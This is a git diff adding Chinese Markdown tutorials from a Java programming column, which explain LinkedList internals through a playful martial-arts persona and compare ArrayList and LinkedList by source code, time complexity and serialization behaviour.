+关键是,数组还有一个弊端就是,假如现在有 500 万张票据,现在要从中间删除一个票据,就需要把 250 万张票据往前移动一格。
+
+遇到这种情况的时候,我师兄几乎情绪崩溃,难受的要命。师父不忍心看到师兄这样痛苦,于是打我进入师门那一天,就强迫我练链表这门内功,一开始我很不理解,害怕师父偏心,不把师门最厉害的内功教我。
+
+直到有一天,我亲眼目睹师兄差点因为移动数据而走火入魔,我才明白师父的良苦用心。从此以后,我苦练“链表”这门内功,取得了显著的进步,师父和师兄都夸我有天赋。
+
+链表这门内功大致分为三个层次:
+
+- 第一层叫做“单向链表”,我只有一个后指针,指向下一个数据;
+- 第二层叫做“双向链表”,我有两个指针,后指针指向下一个数据,前指针指向上一个数据。
+- 第三层叫做“二叉树”,把后指针去掉,换成左右指针。
+
+但我现在的功力还达不到第三层,不过师父说我有这个潜力,练成神功是早晚的事。
+
+### 二、LinkedList 的内功心法
+
+好了,经过我这么样的一个剖白后,大家对我应该已经不陌生了。那么接下来,我给大家展示一下我的内功心法。
+
+我的内功心法主要是一个私有的静态内部类,叫 Node,也就是节点。
+
+```java
+private static class Node {
+ E item;
+ Node next;
+ Node prev;
+
+ Node(Node prev, E element, Node next) {
+ this.item = element;
+ this.next = next;
+ this.prev = prev;
+ }
+}
+```
+
+它由三部分组成:
+
+- 节点上的元素
+- 下一个节点
+- 上一个节点
+
+我画幅图给你们展示下吧。
+
+
+
+- 对于第一个节点来说,prev 为 null;
+- 对于最后一个节点来说,next 为 null;
+- 其余的节点呢,prev 指向前一个,next 指向后一个。
+
+我的内功心法就这么简单,其实我早已经牢记在心了。但师父叮嘱我,每天早上醒来的时候,每天晚上睡觉的时候,一定要默默地背诵一遍。虽然我有些厌烦,但我对师父的教诲从来都是言听计从。
+
+### 03、LinkedList 的招式
+
+和师兄 ArrayList 一样,我的招式也无外乎“增删改查”这 4 种。在此之前,我们都必须得初始化。
+
+```java
+LinkedList list = new LinkedList();
+```
+
+师兄在初始化的时候,默认大小为 10,也可以指定大小,依据要存储的元素数量来。我就不需要。
+
+**1)招式一:增**
+
+可以调用 add 方法添加元素:
+
+```java
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("沉默王四");
+```
+
+add 方法内部其实调用的是 linkLast 方法:
+
+```java
+public boolean add(E e) {
+ linkLast(e);
+ return true;
+}
+```
+
+linkLast,顾名思义,就是在链表的尾部链接:
+
+```java
+void linkLast(E e) {
+ final Node l = last;
+ final Node newNode = new Node<>(l, e, null);
+ last = newNode;
+ if (l == null)
+ first = newNode;
+ else
+ l.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+- 添加第一个元素的时候,first 和 last 都为 null。
+- 然后新建一个节点 newNode,它的 prev 和 next 也为 null。
+- 然后把 last 和 first 都赋值为 newNode。
+
+此时还不能称之为链表,因为前后节点都是断裂的。
+
+
+
+- 添加第二个元素的时候,first 和 last 都指向的是第一个节点。
+- 然后新建一个节点 newNode,它的 prev 指向的是第一个节点,next 为 null。
+- 然后把第一个节点的 next 赋值为 newNode。
+
+此时的链表还不完整。
+
+
+
+- 添加第三个元素的时候,first 指向的是第一个节点,last 指向的是最后一个节点。
+- 然后新建一个节点 newNode,它的 prev 指向的是第二个节点,next 为 null。
+- 然后把第二个节点的 next 赋值为 newNode。
+
+此时的链表已经完整了。
+
+
+
+我这个增的招式,还可以演化成另外两个:
+
+- `addFirst()` 方法将元素添加到第一位;
+- `addLast()` 方法将元素添加到末尾。
+
+addFirst 内部其实调用的是 linkFirst:
+
+```java
+public void addFirst(E e) {
+ linkFirst(e);
+}
+```
+
+linkFirst 负责把新的节点设为 first,并将新的 first 的 next 更新为之前的 first。
+
+```java
+private void linkFirst(E e) {
+ final Node f = first;
+ final Node newNode = new Node<>(null, e, f);
+ first = newNode;
+ if (f == null)
+ last = newNode;
+ else
+ f.prev = newNode;
+ size++;
+ modCount++;
+}
+```
+
+addLast 的内核其实和 addFirst 差不多,就交给大家自行理解了。
+
+
+**2)招式二:删**
+
+我这个删的招式还挺多的:
+
+- `remove()`:删除第一个节点
+- `remove(int)`:删除指定位置的节点
+- `remove(Object)`:删除指定元素的节点
+- `removeFirst()`:删除第一个节点
+- `removeLast()`:删除最后一个节点
+
+remove 内部调用的是 removeFirst,所以这两个招式的功效一样。
+
+`remove(int)` 内部其实调用的是 unlink 方法。
+
+```java
+public E remove(int index) {
+ checkElementIndex(index);
+ return unlink(node(index));
+}
+```
+
+unlink 方法其实很好理解,就是更新当前节点的 next 和 prev,然后把当前节点上的元素设为 null。
+
+```java
+E unlink(Node x) {
+ // assert x != null;
+ final E element = x.item;
+ final Node next = x.next;
+ final Node prev = x.prev;
+
+ if (prev == null) {
+ first = next;
+ } else {
+ prev.next = next;
+ x.prev = null;
+ }
+
+ if (next == null) {
+ last = prev;
+ } else {
+ next.prev = prev;
+ x.next = null;
+ }
+
+ x.item = null;
+ size--;
+ modCount++;
+ return element;
+}
+```
+
+remove(Object) 内部也调用了 unlink 方法,只不过在此之前要先找到元素所在的节点:
+
+```java
+public boolean remove(Object o) {
+ if (o == null) {
+ for (Node x = first; x != null; x = x.next) {
+ if (x.item == null) {
+ unlink(x);
+ return true;
+ }
+ }
+ } else {
+ for (Node x = first; x != null; x = x.next) {
+ if (o.equals(x.item)) {
+ unlink(x);
+ return true;
+ }
+ }
+ }
+ return false;
+}
+```
+
+这内部就分为两种,一种是元素为 null 的时候,必须使用 == 来判断;一种是元素为非 null 的时候,要使用 equals 来判断。equals 是不能用来判 null 的,会抛出 NPE 错误。
+
+removeFirst 内部调用的是 unlinkFirst 方法:
+
+```java
+public E removeFirst() {
+ final Node f = first;
+ if (f == null)
+ throw new NoSuchElementException();
+ return unlinkFirst(f);
+}
+```
+
+unlinkFirst 负责的就是把第一个节点毁尸灭迹,并且捎带把后一个节点的 prev 设为 null。
+
+```java
+private E unlinkFirst(Node f) {
+ // assert f == first && f != null;
+ final E element = f.item;
+ final Node next = f.next;
+ f.item = null;
+ f.next = null; // help GC
+ first = next;
+ if (next == null)
+ last = null;
+ else
+ next.prev = null;
+ size--;
+ modCount++;
+ return element;
+}
+```
+
+**3)招式三:改**
+
+可以调用 `set()` 方法来更新元素:
+
+```java
+list.set(0, "沉默王五");
+```
+
+来看一下 `set()` 方法:
+
+```java
+public E set(int index, E element) {
+ checkElementIndex(index);
+ Node x = node(index);
+ E oldVal = x.item;
+ x.item = element;
+ return oldVal;
+}
+```
+
+首先对指定的下标进行检查,看是否越界;然后根据下标查找原有的节点:
+
+```java
+Node node(int index) {
+ // assert isElementIndex(index);
+
+ if (index < (size >> 1)) {
+ Node x = first;
+ for (int i = 0; i < index; i++)
+ x = x.next;
+ return x;
+ } else {
+ Node x = last;
+ for (int i = size - 1; i > index; i--)
+ x = x.prev;
+ return x;
+ }
+}
+```
+
+`size >> 1`:也就是右移一位,相当于除以 2。对于计算机来说,移位比除法运算效率更高,因为数据在计算机内部都是二进制存储的。
+
+换句话说,node 方法会对下标进行一个初步判断,如果靠近前半截,就从下标 0 开始遍历;如果靠近后半截,就从末尾开始遍历。
+
+找到指定下标的节点就简单了,直接把原有节点的元素替换成新的节点就 OK 了,prev 和 next 都不用改动。
+
+**4)招式四:查**
+
+我这个查的招式可以分为两种:
+
+- indexOf(Object):查找某个元素所在的位置
+- get(int):查找某个位置上的元素
+
+indexOf 的内部分为两种,一种是元素为 null 的时候,必须使用 == 来判断;一种是元素为非 null 的时候,要使用 equals 来判断。因为 equals 是不能用来判 null 的,会抛出 NPE 错误。
+
+```java
+public int indexOf(Object o) {
+ int index = 0;
+ if (o == null) {
+ for (Node x = first; x != null; x = x.next) {
+ if (x.item == null)
+ return index;
+ index++;
+ }
+ } else {
+ for (Node x = first; x != null; x = x.next) {
+ if (o.equals(x.item))
+ return index;
+ index++;
+ }
+ }
+ return -1;
+}
+```
+
+get 方法的内核其实还是 node 方法,这个之前已经说明过了,这里略过。
+
+```java
+public E get(int index) {
+ checkElementIndex(index);
+ return node(index).item;
+}
+```
+
+其实,查这个招式还可以演化为其他的一些,比如说:
+
+- `getFirst()` 方法用于获取第一个元素;
+- `getLast()` 方法用于获取最后一个元素;
+- `poll()` 和 `pollFirst()` 方法用于删除并返回第一个元素(两个方法尽管名字不同,但方法体是完全相同的);
+- `pollLast()` 方法用于删除并返回最后一个元素;
+- `peekFirst()` 方法用于返回但不删除第一个元素。
+
+### 四、LinkedList 的挑战
+
+说句实在话,我不是很喜欢和师兄 ArrayList 拿来比较,因为我们各自修炼的内功不同,没有孰高孰低。
+
+虽然师兄经常喊我一声师弟,但我们之间其实挺和谐的。但我知道,在外人眼里,同门师兄弟,总要一较高下的。
+
+比如说,我们俩在增删改查时候的时间复杂度。
+
+也许这就是命运吧,从我进入师门的那天起,这种争论就一直没有停息过。
+
+无论外人怎么看待我们,在我眼里,师兄永远都是一哥,我敬重他,他也愿意保护我。
\ No newline at end of file
diff --git a/docs/collection/list-war-1.md b/docs/collection/list-war-1.md
new file mode 100644
index 0000000000..5a74c25630
--- /dev/null
+++ b/docs/collection/list-war-1.md
@@ -0,0 +1,323 @@
+
+
+这是《Java 程序员进阶之路》专栏的第 60 篇,我们来聊聊 ArrayList 和 LinkedList 之间的区别。大家可以到 GitHub 上给二哥一个 star,马上破 400 星标了。
+
+>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+如果再有人给你说 “**ArrayList 底层是数组,查询快、增删慢;LinkedList 底层是链表,查询慢、增删快**”,你可以让他滚了!
+
+这是一个极其不负责任的总结,关键是你会在很多地方看到这样的结论。
+
+害,我一开始学 Java 的时候,也问过一个大佬,“ArrayList 和 LinkedList 有什么区别?”他就把“ArrayList 底层是数组,查询快、增删慢;LinkedList 底层是链表,查询慢、增删快”甩给我了,当时觉得,大佬好牛逼啊!
+
+后来我研究了 ArrayList 和 LinkedList 的源码,发现还真的是,前者是数组,后者是 LinkedList,于是我对大佬更加佩服了!
+
+直到后来,我亲自跑程序验证了一遍,才发现大佬的结论太草率了!根本就不是这么回事!
+
+先来给大家普及一个概念——[时间复杂度](https://mp.weixin.qq.com/s/e7SbkEPPx1OExsAG4qV6Gw)。
+
+>在计算机科学中,算法的时间复杂度(Time complexity)是一个函数,它定性描述该算法的运行时间。这是一个代表算法输入值的字符串的长度的函数。时间复杂度常用大 O 符号表述,不包括这个函数的低阶项和首项系数。使用这种方式时,时间复杂度可被称为是渐近的,亦即考察输入值大小趋近无穷时的情况。例如,如果一个算法对于任何大小为 n (必须比 $n_0$ 大)的输入,它至多需要 $5n^3 + 3n$ 的时间运行完毕,那么它的渐近时间复杂度是 $O(n3^)$。
+
+增删改查,对应到 ArrayList 和 LinkedList,就是 add(E e)、remove(int index)、add(int index, E element)、get(int index),我来给大家一一分析下,它们对应的时间复杂度,也就明白了“ArrayList 底层是数组,查询快、增删慢;LinkedList 底层是链表,查询慢、增删快”这个结论很荒唐的原因
+
+**对于 ArrayList 来说**:
+
+ 1)`get(int index)` 方法的时间复杂度为 $O(1)$,因为是直接从底层数组根据下标获取的,和数组长度无关。
+
+```java
+public E get(int index) {
+ Objects.checkIndex(index, size);
+ return elementData(index);
+}
+```
+
+这也是 ArrayList 的最大优点。
+
+2)`add(E e)` 方法会默认将元素添加到数组末尾,但需要考虑到数组扩容的情况,如果不需要扩容,时间复杂度为 $O(1)$。
+
+```java
+public boolean add(E e) {
+ modCount++;
+ add(e, elementData, size);
+ return true;
+}
+
+private void add(E e, Object[] elementData, int s) {
+ if (s == elementData.length)
+ elementData = grow();
+ elementData[s] = e;
+ size = s + 1;
+}
+```
+
+如果需要扩容的话,并且不是第一次(`oldCapacity > 0`)扩容的时候,内部执行的 `Arrays.copyOf()` 方法是耗时的关键,需要把原有数组中的元素复制到扩容后的新数组当中。
+
+```java
+private Object[] grow(int minCapacity) {
+ int oldCapacity = elementData.length;
+ if (oldCapacity > 0 || elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
+ int newCapacity = ArraysSupport.newLength(oldCapacity,
+ minCapacity - oldCapacity, /* minimum growth */
+ oldCapacity >> 1 /* preferred growth */);
+ return elementData = Arrays.copyOf(elementData, newCapacity);
+ } else {
+ return elementData = new Object[Math.max(DEFAULT_CAPACITY, minCapacity)];
+ }
+}
+```
+
+3)`add(int index, E element)` 方法将新的元素插入到指定的位置,考虑到需要复制底层数组(根据之前的判断,扩容的话,数组可能要复制一次),根据最坏的打算(不管需要不需要扩容,`System.arraycopy()` 肯定要执行),所以时间复杂度为 $O(n)$。
+
+```java
+public void add(int index, E element) {
+ rangeCheckForAdd(index);
+ modCount++;
+ final int s;
+ Object[] elementData;
+ if ((s = size) == (elementData = this.elementData).length)
+ elementData = grow();
+ System.arraycopy(elementData, index,
+ elementData, index + 1,
+ s - index);
+ elementData[index] = element;
+ size = s + 1;
+}
+```
+
+来执行以下代码,把沉默王八插入到下标为 2 的位置上。
+
+```java
+ArrayList list = new ArrayList<>();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("沉默王四");
+list.add("沉默王五");
+list.add("沉默王六");
+list.add("沉默王七");
+list.add(2, "沉默王八");
+```
+`System.arraycopy()` 执行完成后,下标为 2 的元素为沉默王四,这一点需要注意。也就是说,在数组中插入元素的时候,会把插入位置以后的元素依次往后复制,所以下标为 2 和下标为 3 的元素都为沉默王四。
+
+
+
+之后再通过 `elementData[index] = element` 将下标为 2 的元素赋值为沉默王八;随后执行 `size = s + 1`,数组的长度变为 7。
+
+
+
+4)` remove(int index)` 方法将指定位置上的元素删除,考虑到需要复制底层数组,所以时间复杂度为 $O(n)$。
+
+```java
+public E remove(int index) {
+ Objects.checkIndex(index, size);
+ final Object[] es = elementData;
+
+ @SuppressWarnings("unchecked") E oldValue = (E) es[index];
+ fastRemove(es, index);
+
+ return oldValue;
+}
+private void fastRemove(Object[] es, int i) {
+ modCount++;
+ final int newSize;
+ if ((newSize = size - 1) > i)
+ System.arraycopy(es, i + 1, es, i, newSize - i);
+ es[size = newSize] = null;
+}
+```
+
+**对于 LinkedList 来说**:
+
+1)`get(int index)` 方法的时间复杂度为 $O(n)$,因为需要循环遍历整个链表。
+
+```java
+public E get(int index) {
+ checkElementIndex(index);
+ return node(index).item;
+}
+
+LinkedList.Node node(int index) {
+ // assert isElementIndex(index);
+
+ if (index < (size >> 1)) {
+ LinkedList.Node x = first;
+ for (int i = 0; i < index; i++)
+ x = x.next;
+ return x;
+ } else {
+ LinkedList.Node x = last;
+ for (int i = size - 1; i > index; i--)
+ x = x.prev;
+ return x;
+ }
+}
+```
+
+下标小于链表长度的一半时,从前往后遍历;否则从后往前遍历,这样从理论上说,就节省了一半的时间。
+
+如果下标为 0 或者 `list.size() - 1` 的话,时间复杂度为 $O(1)$。这种情况下,可以使用 `getFirst()` 和 `getLast()` 方法。
+
+```java
+public E getFirst() {
+ final LinkedList.Node f = first;
+ if (f == null)
+ throw new NoSuchElementException();
+ return f.item;
+}
+
+public E getLast() {
+ final LinkedList.Node l = last;
+ if (l == null)
+ throw new NoSuchElementException();
+ return l.item;
+}
+```
+
+first 和 last 在链表中是直接存储的,所以时间复杂度为 $O(1)$。
+
+2)`add(E e)` 方法默认将元素添加到链表末尾,所以时间复杂度为 $O(1)$。
+
+```java
+public boolean add(E e) {
+ linkLast(e);
+ return true;
+}
+void linkLast(E e) {
+ final LinkedList.Node l = last;
+ final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null);
+ last = newNode;
+ if (l == null)
+ first = newNode;
+ else
+ l.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+3)`add(int index, E element)` 方法将新的元素插入到指定的位置,需要先通过遍历查找这个元素,然后再进行插入,所以时间复杂度为 $O(n)$。
+
+```java
+public void add(int index, E element) {
+ checkPositionIndex(index);
+
+ if (index == size)
+ linkLast(element);
+ else
+ linkBefore(element, node(index));
+}
+```
+
+如果下标为 0 或者 `list.size() - 1` 的话,时间复杂度为 $O(1)$。这种情况下,可以使用 `addFirst()` 和 `addLast()` 方法。
+
+```java
+public void addFirst(E e) {
+ linkFirst(e);
+}
+private void linkFirst(E e) {
+ final LinkedList.Node f = first;
+ final LinkedList.Node newNode = new LinkedList.Node<>(null, e, f);
+ first = newNode;
+ if (f == null)
+ last = newNode;
+ else
+ f.prev = newNode;
+ size++;
+ modCount++;
+}
+```
+
+`linkFirst()` 只需要对 first 进行更新即可。
+
+```java
+public void addLast(E e) {
+ linkLast(e);
+}
+
+void linkLast(E e) {
+ final LinkedList.Node l = last;
+ final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null);
+ last = newNode;
+ if (l == null)
+ first = newNode;
+ else
+ l.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+`linkLast()` 只需要对 last 进行更新即可。
+
+需要注意的是,有些文章里面说,LinkedList 插入元素的时间复杂度近似 $O(1)$,其实是有问题的,因为 `add(int index, E element)` 方法在插入元素的时候会调用 `node(index)` 查找元素,该方法之前我们之间已经确认过了,时间复杂度为 $O(n)$,即便随后调用 `linkBefore()` 方法进行插入的时间复杂度为 $O(1)$,总体上的时间复杂度仍然为 $O(n)$ 才对。
+
+
+```java
+void linkBefore(E e, LinkedList.Node succ) {
+ // assert succ != null;
+ final LinkedList.Node pred = succ.prev;
+ final LinkedList.Node newNode = new LinkedList.Node<>(pred, e, succ);
+ succ.prev = newNode;
+ if (pred == null)
+ first = newNode;
+ else
+ pred.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+4)` remove(int index)` 方法将指定位置上的元素删除,考虑到需要调用 `node(index)` 方法查找元素,所以时间复杂度为 $O(n)$。
+
+```java
+public E remove(int index) {
+ checkElementIndex(index);
+ return unlink(node(index));
+}
+
+E unlink(LinkedList.Node x) {
+ // assert x != null;
+ final E element = x.item;
+ final LinkedList.Node next = x.next;
+ final LinkedList.Node prev = x.prev;
+
+ if (prev == null) {
+ first = next;
+ } else {
+ prev.next = next;
+ x.prev = null;
+ }
+
+ if (next == null) {
+ last = prev;
+ } else {
+ next.prev = prev;
+ x.next = null;
+ }
+
+ x.item = null;
+ size--;
+ modCount++;
+ return element;
+}
+```
+
+通过时间复杂度的比较,以及源码的分析,我相信大家在选择的时候就有了主意,对吧?
+
+需要注意的是,如果列表很大很大,ArrayList 和 LinkedList 在**内存**的使用上也有所不同。LinkedList 的每个元素都有更多开销,因为要存储上一个和下一个元素的地址。ArrayList 没有这样的开销。
+
+
+查询的时候,ArrayList 比 LinkedList 快,这是毋庸置疑的;插入和删除的时候,LinkedList 因为要遍历列表,所以并不比 ArrayList 更快。反而 ArrayList 更轻量级,不需要在每个元素上维护上一个和下一个元素的地址。
+
+但是,请注意,如果 ArrayList 在增删改的时候涉及到大量的数组复制,效率就另当别论了,因为这个过程相当的耗时。
+
+对于初学者来说,一般不会涉及到百万级别的数据操作,如果真的不知道该用 ArrayList 还是 LinkedList,就无脑选择 ArrayList 吧!
+
+------
+
+这是《Java 程序员进阶之路》专栏的第 60 篇。Java 程序员进阶之路,风趣幽默、通俗易懂,对 Java 初学者极度友好和舒适😘,内容包括但不限于 Java 语法、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机等核心知识点。
+
+
+>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+
+这么好的东西,还不 star 下?
\ No newline at end of file
diff --git a/docs/collection/list-war-2.md b/docs/collection/list-war-2.md
new file mode 100644
index 0000000000..f68470e099
--- /dev/null
+++ b/docs/collection/list-war-2.md
@@ -0,0 +1,846 @@
+
+
+这是《Java 程序员进阶之路》专栏的第 61 篇,我们来继续探讨 ArrayList 和 LinkedList,这一篇比[上一篇](https://mp.weixin.qq.com/s/mjeLeNv5PKateVarZE4KQQ)更深入、更全面,源码讲解、性能考量,方方面面都有涉及到了。
+
+首先必须得感谢大家,《Java 程序员进阶之路》在 GitHub 上已经突破 400 个星标了,感谢感谢,还没 star 的赶紧安排一波了,冲击 500 星标了。
+
+>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+### 01、ArrayList 是如何实现的?
+
+ArrayList 实现了 List 接口,继承了 AbstractList 抽象类。
+
+
+
+底层是基于数组实现的,并且实现了动态扩容
+
+
+```java
+public class ArrayList extends AbstractList
+ implements List, RandomAccess, Cloneable, java.io.Serializable
+{
+ private static final int DEFAULT_CAPACITY = 10;
+ transient Object[] elementData;
+ private int size;
+}
+```
+
+ArrayList 还实现了 RandomAccess 接口,这是一个标记接口:
+
+```java
+public interface RandomAccess {
+}
+```
+
+内部是空的,标记“实现了这个接口的类支持快速(通常是固定时间)随机访问”。快速随机访问是什么意思呢?就是说不需要遍历,就可以通过下标(索引)直接访问到内存地址。
+
+```java
+public E get(int index) {
+ Objects.checkIndex(index, size);
+ return elementData(index);
+}
+E elementData(int index) {
+ return (E) elementData[index];
+}
+```
+
+ArrayList 还实现了 Cloneable 接口,这表明 ArrayList 是支持拷贝的。ArrayList 内部的确也重写了 Object 类的 `clone()` 方法。
+
+```java
+public Object clone() {
+ try {
+ ArrayList> v = (ArrayList>) super.clone();
+ v.elementData = Arrays.copyOf(elementData, size);
+ v.modCount = 0;
+ return v;
+ } catch (CloneNotSupportedException e) {
+ // this shouldn't happen, since we are Cloneable
+ throw new InternalError(e);
+ }
+}
+```
+
+ArrayList 还实现了 Serializable 接口,同样是一个标记接口:
+
+```java
+public interface Serializable {
+}
+```
+
+内部也是空的,标记“实现了这个接口的类支持序列化”。序列化是什么意思呢?Java 的序列化是指,将对象转换成以字节序列的形式来表示,这些字节序中包含了对象的字段和方法。序列化后的对象可以被写到数据库、写到文件,也可用于网络传输。
+
+眼睛雪亮的小伙伴可能会注意到,ArrayList 中的关键字段 elementData 使用了 transient 关键字修饰,这个关键字的作用是,让它修饰的字段不被序列化。
+
+这不前后矛盾吗?一个类既然实现了 Serilizable 接口,肯定是想要被序列化的,对吧?那为什么保存关键数据的 elementData 又不想被序列化呢?
+
+这还得从 “ArrayList 是基于数组实现的”开始说起。大家都知道,数组是定长的,就是说,数组一旦声明了,长度(容量)就是固定的,不能像某些东西一样伸缩自如。这就很麻烦,数组一旦装满了,就不能添加新的元素进来了。
+
+ArrayList 不想像数组这样活着,它想能屈能伸,所以它实现了动态扩容。一旦在添加元素的时候,发现容量用满了 `s == elementData.length`,就按照原来数组的 1.5 倍(`oldCapacity >> 1`)进行扩容。扩容之后,再将原有的数组复制到新分配的内存地址上 `Arrays.copyOf(elementData, newCapacity)`。
+
+```java
+private void add(E e, Object[] elementData, int s) {
+ if (s == elementData.length)
+ elementData = grow();
+ elementData[s] = e;
+ size = s + 1;
+}
+
+private Object[] grow() {
+ return grow(size + 1);
+}
+
+private Object[] grow(int minCapacity) {
+ int oldCapacity = elementData.length;
+ if (oldCapacity > 0 || elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
+ int newCapacity = ArraysSupport.newLength(oldCapacity,
+ minCapacity - oldCapacity, /* minimum growth */
+ oldCapacity >> 1 /* preferred growth */);
+ return elementData = Arrays.copyOf(elementData, newCapacity);
+ } else {
+ return elementData = new Object[Math.max(DEFAULT_CAPACITY, minCapacity)];
+ }
+}
+```
+
+动态扩容意味着什么?大家伙想一下。嗯,还是我来告诉大家答案吧,有点迫不及待。
+
+意味着数组的实际大小可能永远无法被填满的,总有多余出来空置的内存空间。
+
+比如说,默认的数组大小是 10,当添加第 11 个元素的时候,数组的长度扩容了 1.5 倍,也就是 15,意味着还有 4 个内存空间是闲置的,对吧?
+
+序列化的时候,如果把整个数组都序列化的话,是不是就多序列化了 4 个内存空间。当存储的元素数量非常非常多的时候,闲置的空间就非常非常大,序列化耗费的时间就会非常非常多。
+
+于是,ArrayList 做了一个愉快而又聪明的决定,内部提供了两个私有方法 writeObject 和 readObject 来完成序列化和反序列化。
+
+```java
+private void writeObject(java.io.ObjectOutputStream s)
+ throws java.io.IOException {
+ // Write out element count, and any hidden stuff
+ int expectedModCount = modCount;
+ s.defaultWriteObject();
+
+ // Write out size as capacity for behavioral compatibility with clone()
+ s.writeInt(size);
+
+ // Write out all elements in the proper order.
+ for (int i=0; i
+ extends AbstractSequentialList
+ implements List, Deque, Cloneable, java.io.Serializable
+{
+ transient int size = 0;
+ transient Node first;
+ transient Node last;
+}
+```
+
+ LinkedList 内部定义了一个 Node 节点,它包含 3 个部分:元素内容 item,前引用 prev 和后引用 next。代码如下所示:
+
+```java
+private static class Node {
+ E item;
+ LinkedList.Node next;
+ LinkedList.Node prev;
+
+ Node(LinkedList.Node prev, E element, LinkedList.Node next) {
+ this.item = element;
+ this.next = next;
+ this.prev = prev;
+ }
+}
+```
+
+LinkedList 还实现了 Cloneable 接口,这表明 LinkedList 是支持拷贝的。
+
+LinkedList 还实现了 Serializable 接口,这表明 LinkedList 是支持序列化的。眼睛雪亮的小伙伴可能又注意到了,LinkedList 中的关键字段 size、first、last 都使用了 transient 关键字修饰,这不又矛盾了吗?到底是想序列化还是不想序列化?
+
+答案是 LinkedList 想按照自己的方式序列化,来看它自己实现的 `writeObject()` 方法:
+
+```java
+private void writeObject(java.io.ObjectOutputStream s)
+ throws java.io.IOException {
+ // Write out any hidden serialization magic
+ s.defaultWriteObject();
+
+ // Write out size
+ s.writeInt(size);
+
+ // Write out all elements in the proper order.
+ for (LinkedList.Node x = first; x != null; x = x.next)
+ s.writeObject(x.item);
+}
+```
+
+发现没?LinkedList 在序列化的时候只保留了元素的内容 item,并没有保留元素的前后引用。这样就节省了不少内存空间,对吧?
+
+那有些小伙伴可能就疑惑了,只保留元素内容,不保留前后引用,那反序列化的时候怎么办?
+
+```java
+private void readObject(java.io.ObjectInputStream s)
+ throws java.io.IOException, ClassNotFoundException {
+ // Read in any hidden serialization magic
+ s.defaultReadObject();
+
+ // Read in size
+ int size = s.readInt();
+
+ // Read in all elements in the proper order.
+ for (int i = 0; i < size; i++)
+ linkLast((E)s.readObject());
+}
+
+void linkLast(E e) {
+ final LinkedList.Node l = last;
+ final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null);
+ last = newNode;
+ if (l == null)
+ first = newNode;
+ else
+ l.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+注意 for 循环中的 `linkLast()` 方法,它可以把链表重新链接起来,这样就恢复了链表序列化之前的顺序。很妙,对吧?
+
+和 ArrayList 相比,LinkedList 没有实现 RandomAccess 接口,这是因为 LinkedList 存储数据的内存地址是不连续的,所以不支持随机访问。
+
+### 03、ArrayList 和 LinkedList 新增元素时究竟谁快?
+
+前面我们已经从多个维度了解了 ArrayList 和 LinkedList 的实现原理和各自的特点。那接下来,我们就来聊聊 ArrayList 和 LinkedList 在新增元素时究竟谁快?
+
+**1)ArrayList**
+
+ArrayList 新增元素有两种情况,一种是直接将元素添加到数组末尾,一种是将元素插入到指定位置。
+
+添加到数组末尾的源码:
+
+```java
+public boolean add(E e) {
+ modCount++;
+ add(e, elementData, size);
+ return true;
+}
+
+private void add(E e, Object[] elementData, int s) {
+ if (s == elementData.length)
+ elementData = grow();
+ elementData[s] = e;
+ size = s + 1;
+}
+```
+
+很简单,先判断是否需要扩容,然后直接通过索引将元素添加到末尾。
+
+插入到指定位置的源码:
+
+```java
+public void add(int index, E element) {
+ rangeCheckForAdd(index);
+ modCount++;
+ final int s;
+ Object[] elementData;
+ if ((s = size) == (elementData = this.elementData).length)
+ elementData = grow();
+ System.arraycopy(elementData, index,
+ elementData, index + 1,
+ s - index);
+ elementData[index] = element;
+ size = s + 1;
+}
+```
+
+先检查插入的位置是否在合理的范围之内,然后判断是否需要扩容,再把该位置以后的元素复制到新添加元素的位置之后,最后通过索引将元素添加到指定的位置。这种情况是非常伤的,性能会比较差。
+
+**2)LinkedList**
+
+LinkedList 新增元素也有两种情况,一种是直接将元素添加到队尾,一种是将元素插入到指定位置。
+
+添加到队尾的源码:
+
+```java
+public boolean add(E e) {
+ linkLast(e);
+ return true;
+}
+void linkLast(E e) {
+ final LinkedList.Node l = last;
+ final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null);
+ last = newNode;
+ if (l == null)
+ first = newNode;
+ else
+ l.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+先将队尾的节点 last 存放到临时变量 l 中(不是说不建议使用 I 作为变量名吗?Java 的作者们明知故犯啊),然后生成新的 Node 节点,并赋给 last,如果 l 为 null,说明是第一次添加,所以 first 为新的节点;否则将新的节点赋给之前 last 的 next。
+
+插入到指定位置的源码:
+
+```java
+public void add(int index, E element) {
+ checkPositionIndex(index);
+
+ if (index == size)
+ linkLast(element);
+ else
+ linkBefore(element, node(index));
+}
+LinkedList.Node node(int index) {
+ // assert isElementIndex(index);
+
+ if (index < (size >> 1)) {
+ LinkedList.Node x = first;
+ for (int i = 0; i < index; i++)
+ x = x.next;
+ return x;
+ } else {
+ LinkedList.Node x = last;
+ for (int i = size - 1; i > index; i--)
+ x = x.prev;
+ return x;
+ }
+}
+void linkBefore(E e, LinkedList.Node succ) {
+ // assert succ != null;
+ final LinkedList.Node pred = succ.prev;
+ final LinkedList.Node newNode = new LinkedList.Node<>(pred, e, succ);
+ succ.prev = newNode;
+ if (pred == null)
+ first = newNode;
+ else
+ pred.next = newNode;
+ size++;
+ modCount++;
+}
+```
+
+先检查插入的位置是否在合理的范围之内,然后判断插入的位置是否是队尾,如果是,添加到队尾;否则执行 `linkBefore()` 方法。
+
+在执行 `linkBefore()` 方法之前,会调用 `node()` 方法查找指定位置上的元素,这一步是需要遍历 LinkedList 的。如果插入的位置靠前前半段,就从队头开始往后找;否则从队尾往前找。也就是说,如果插入的位置越靠近 LinkedList 的中间位置,遍历所花费的时间就越多。
+
